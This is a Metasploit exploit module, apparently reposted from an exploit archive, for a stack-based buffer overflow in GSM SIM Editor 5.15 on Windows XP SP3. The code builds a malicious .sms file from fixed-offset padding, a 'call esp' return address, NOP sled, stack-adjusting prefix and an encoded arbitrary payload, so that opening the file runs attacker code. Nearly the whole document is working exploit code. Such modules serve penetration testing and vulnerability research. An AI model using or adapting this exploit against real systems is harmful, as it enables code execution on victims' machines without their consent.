GSM SIM Editor 5.15 Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
     
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'GSM SIM Editor 5.15 Buffer Overflow',
            'Description'     => %q{
                    This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15.
                When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer
                overflow occurs which allows an attacker to execute arbitrary code.
            },
            'License'         => MSF_LICENSE,
            'Author'          =>
                [
                    'Ruben Alejandro',
                    'chap0 <contact.chap0[at]gmail.com>',
                    'Lincoln <lincoln[at]corelan.be>'
                ],
            'References'      =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/14258/' ]
                ],
            'DefaultOptions'  =>
                {
                    'ExitFunction' => 'process',
                },
            'Platform'        => 'win',
            'Payload'         =>
                {
                    'Space' => 2000,
                    'BadChars' => "\x00",
                    'DisableNops' => true,
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment #add esp, -3500
                },
            'Targets'         =>
                [
                    [ 'Windows XP SP3',
                        {
                            'Ret'    => 0x00405201, # call esp - SIMEditor.exe
                            'Offset' => 810
                        }
                    ]
                ],
            'Privileged'      => false,
            'DisclosureDate'  => 'Jul 07 2010',
            'DefaultTarget'   => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.', 'msf.sms']),
            ], self.class)
 
    end
 
    def exploit
        buffer =  rand_text_numeric(target['Offset'])
        buffer << [target.ret].pack('V').unpack("H*")[0]
        buffer << make_nops(30).unpack("H*")[0]
        buffer << payload.encoded.unpack("H*")[0]
 
        file_create(buffer)
    end
 
end



#  0day.today [2018-04-14]  #